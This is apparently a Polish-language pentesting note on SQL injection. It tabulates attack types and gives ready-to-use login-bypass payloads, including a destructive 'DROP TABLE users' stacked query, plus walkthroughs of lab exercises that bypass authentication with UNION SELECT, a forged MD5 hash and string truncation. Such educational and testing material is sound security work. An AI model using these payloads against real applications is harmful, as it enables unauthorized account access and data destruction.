SQL Injection
SQL Injection (SQLi) to technika ataku, która polega na wstrzyknięciu złośliwego fragmentu zapytania SQL do pola wejściowego aplikacji (np. formularza logowania). Celem jest zmuszenie bazy danych do wykonania poleceń, których normalnie nie powinna — takich jak pominięcie logowania, odczyt danych użytkowników czy wykonanie polecenia systemowego.
Aplikacje podatne na SQLi nie filtrują poprawnie danych wejściowych od użytkownika i bezpośrednio wstawiają je do zapytań SQL. Atak może być prosty ' OR 1=1-- lub bardziej złożony, z użyciem narzędzi takich jak sqlmap.

Typy ataków SQLi
| Typ | Opis | Przykład |
|---|---|---|
| Boolean-based | Zmienia wynik logiczny TRUE / FALSE | ' OR 1=1-- vs ' AND 1=2-- |
| Union-based | Łączenie wyników z innymi SELECT | ' UNION SELECT 1, version()-- |
| Error-based | Wymusza błąd ujawniający dane | 1 AND (SELECT 1/0)-- |
| Time-based | Opóźnienie w zależności od warunku | IF(1=1, SLEEP(5), 0)-- |
| Stacked Queries | Wiele zapytań w jednym | '; DROP TABLE users-- |
Klasyczne Payloady Logowania
| Payload | Cel |
|---|---|
' OR 1=1-- | TRUE logic condition bypass |
' OR '1'='1'-- | String-based TRUE condition |
' OR 1=1# | MySQL: komentarz # |
' OR 1=1/* | Komentarz blokowy |
" OR 1=1-- | Użycie cudzysłowu |
admin'-- | Pominięcie hasła dla admina |
' OR 1=1 LIMIT 1-- | Ograniczenie liczby wyników |
Przykłady klasycznych testów
- Omijanie logowania poprzez klasyczny SQL Injection
REZULTAT: Logowanie zostało pomyślnie ominięte po zastosowaniu poprawnej składni SQL Injection.
-
Uzyskanie dostępu do konta admina bez znajomości hasła.
Payloady bypass: SQLite | MySQL | PostgreSQL | MSSQL
') or (username='admin ') or username='admin'-- ') OR username='admin'/*Payloady bypass: MySQL
') or username='admin'#
REZULTAT: Logowanie zostało pomyślnie ominięte po zastosowaniu poprawnej składni SQL Injection.
-
Omijanie logowania za pomocą UNION SELECT.
Zadanie: Uzyskać dostęp bez danych logowania, poprzez zastosowanie techniki UNION SELECT w celu podstawienia własnych danych do zapytania SQL, tak aby wprowadzony ładunek zwróci wartość „admin”, mimo że baza danych nie zawiera żadnych rekordów.Payloady UNION bypass: SQLite | MySQL | PostgreSQL | MSSQL
') UNION SELECT ('admin ') UNION SELECT 'admin'-- ') UNION SELECT 'admin'/*Payloady bypass: MySQL
') UNION SELECT 'admin'#
REZULTAT: Logowanie zostało pomyślnie ominięte pomimo pustej bazy danych dzięki zastosowaniu UNION SELECT z podstawioną nazwą użytkownika.
-
Fałszywy użytkownik z dopasowanym skrótem MD5.
Zadanie: Uzyskać dostęp jako użytkownik admin z podanym przez siebie hasłem.
Szczegółowy opis: Wprowadzenie zapytania SQL z użyciem UNION SELECT, które podstawia nazwę użytkownika i skrót MD5 kontrolowanego przez nas hasła. Aplikacja porównuje skróty MD5, więc możliwe będzie ominięcie logowania, jeśli oba będą identyczne — co zostanie zapewnione przez atakującego.KROKI:
1: Wprowadzić w polu hasło wartość x, a w polu użytkownika:
" union select "admin",md5("x")#
REZULTAT: Logowanie zostało pomyślnie ominięte dzięki podstawieniu własnego użytkownika i hasha, który odpowiada wpisanemu hasłu.
-
Ominięcie zabezpieczenia przez ograniczenie długości i przetwarzanie ukośnika.
Zadanie: Wykorzystać cięcie stringa i podwójne przetwarzanie znaku\do ominięcia logowania.
Szczegółowy opis: Podanie nazwy użytkownika zakończonej na 10. pozycji znakiem , który po konwersji i przycięciu spowoduje nieoczekiwane zamknięcie łańcucha. Następnie w polu hasła wstrzyknięcie warunku logicznego pozwalającego ominąć autoryzację.KROKI:
1: Wejdz na [TARGET_IP] i Wpisz jako nazwę użytkownika:
123456789\, a w polu hasło:or 1-- x
REZULTAT: Logowanie zostało pomyślnie ominięte dzięki manipulacji długością stringa i znakiem ucieczki. Query: SELECT 1 FROM sql WHERE username='123456789\' and password='or 1-- x'
References
- https://portswigger.net/web-security/sql-injection/examining-the-database
- https://www.w3schools.com/sql/sql_injection.asp
- https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/
- https://github.com/sqlmapproject/sqlmap/wiki/usage
- https://book.hacktricks.wiki/pl/pentesting-web/sql-injection/index.html